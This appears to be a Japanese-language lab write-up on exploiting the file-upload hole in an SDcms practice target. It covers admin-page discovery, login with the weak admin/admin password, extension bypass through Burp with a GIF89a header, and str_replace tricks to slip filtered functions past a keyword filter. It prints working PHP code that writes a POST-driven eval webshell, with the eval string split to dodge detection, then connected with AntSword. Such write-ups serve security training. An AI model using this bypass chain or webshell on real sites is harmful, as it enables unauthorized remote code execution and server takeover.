記事ディレクトリ
序文
今回はファイルアップロード脆弱性対策射撃場シリーズであるSDcms射撃場で練習しました。
1. Web サイトのバックエンド ページを見つけます。
1. クリックしてログインし、URL を表示します。
図に示すように、ログイン ページのパラメータは?m=login です。
2. URL パラメータを変更し、バックエンドのログイン ページを見つけます。
以下に示すように、上記の URL のログイン パラメータを admin に変更してみてください。入力は成功します。
2. バックエンド管理システムにログインします。
1.爆発は使用できません
ここでの最初の反応は、アカウントとパスワードの爆破を使用することでしたが、アクセスされる IP に制限があり、不正アクセスの回数を超えるとログインが制限されることがわかりました。
2. 弱いパスワードを使用してログインします
アカウントのパスワード admin/admin を使用して、Web サイトのバックエンドにログインします。
3. ファイルのアップロードポイントを見つける
図に示すように、ファイルのアップロード ポイントを見つけます。
4. ファイルのアップロード操作
1. 通常の画像ファイルをアップロードし、データパッケージを表示します
図に示すように、ファイルをアップロードするパスを見つけます: /upfile/2023/09/
2. PHP ファイルをアップロードしてみます
Burp で .jpg を .php に変更し、GIF89a ヘッダーをファイルのコンテンツに追加すると、php ファイルが正常にアップロードできることがわかります。
アップロードされた PHP ファイルにアクセスしようとしました
。アクセスは成功しました。
3. phpinfo() 関数をアップロードしてシステムのバージョン情報を取得します
アップロードが失敗したことがわかります。これは、ここでフィルタリングがあり、phpinfo 関数がフィルタリングされていることを意味します。
4. バイパスフィルタリング
str_replace 関数を使用してフィルタリングをバイパスします。方法は次のとおりです:
バイパス成功
Web ページを開いて表示します
如下是绕过代码:
<?php
$a = str_replace("0","","p0h0p0i0n0f0o");
$a();
?>
5. Webシェルをアップロードしてみる
1. PHPバージョンに関する注意事項
上記からわかるように、射撃場で使用されている PHP のバージョンは 7.4.3 です。このバージョンでは、assert() 関数が使用できないため、eval を使用してシェルを取得することしかできませんが、str_replace を使用して eval を有効にすることはできません。上記の方法。
方法を考えたのですが、str_replaceメソッドではevalを回避できないので、PHPの共通ファイルを使って普通のファイルを実行してシェルファイルを作成してはどうでしょうか?
2. 上のディレクトリにファイルを作成してみます
以下に示すように、アップロードに失敗したことがわかりました
。テストの結果、fopen() 関数と file_put_contents() 関数もフィルタリングされていることがわかりました。他に方法がないため、この 2 つの関数をバイパスしました。方法としては、
アップロードしたPHPファイルをブラウザで開き、ファイルを実行して、上司がshell.phpファイルを生成したかどうかを確認し、アクセスできれば
shell.phpファイルが生成されているということになります。無事に生成されました。
3. シェルへの書き込み
内部の $data パラメータをシェルに置き換えます。
eval キーワードはこの方法でも検出できることがわかりました。しかし、これは単なる文字列なので、$data コンテンツを eval を中心とする 2 つの部分に分割し、再度マージするだけです。
4. テストシェル
アップロードした PHP ファイルをブラウザで開き、実行します。
次に、WebShell ツールを使用して接続し、
接続が成功したかどうかをテストします。
编写后的绕过代码:
GIF89a
<?php
$filename = "../shell.php";
$data1 = '<?php class ok{var $arg;function setarg($x){$this->arg = "".$x.null;return $this->arg;}function setarg1($x){$this->arg = "".$this->setarg($x).null;}function go(){ev';
$data2 = 'al("$this->arg");}}$arr = array($_POST["x"]);$run = new ok;$run->setarg1($arr[0]);$run->go(); ?>';
$data = $data1.$data2;
$a = "f0o0p0e0n";
$open = str_replace("0","",$a);
$file = $open($filename,"w");
$b = "f0i0l0e_p0u0t_contents";
$write = str_replace("0","",$b);
$write($filename, $data);
fclose($file);
?>
注: ここのシェルでは POST を使用する必要があり、GET Ant Sword を使用して接続することはできません。